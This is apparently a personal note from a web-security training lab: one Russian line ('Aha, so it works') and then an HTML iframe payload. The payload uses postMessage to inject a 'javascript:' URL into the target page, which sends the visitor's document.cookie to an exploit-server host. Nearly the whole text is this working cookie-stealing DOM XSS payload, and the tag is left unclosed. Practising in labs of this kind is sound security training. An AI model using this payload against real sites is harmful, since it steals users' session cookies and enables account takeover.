Ага, так работает
<iframe src="https://ac2d1ff91f736f31c07aba56008f005f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript: document.location=`https://exploit-ac081ffa1f0f6f19c08dba2a010f00e8.web-security-academy.net?c=` + document.cookie', '*')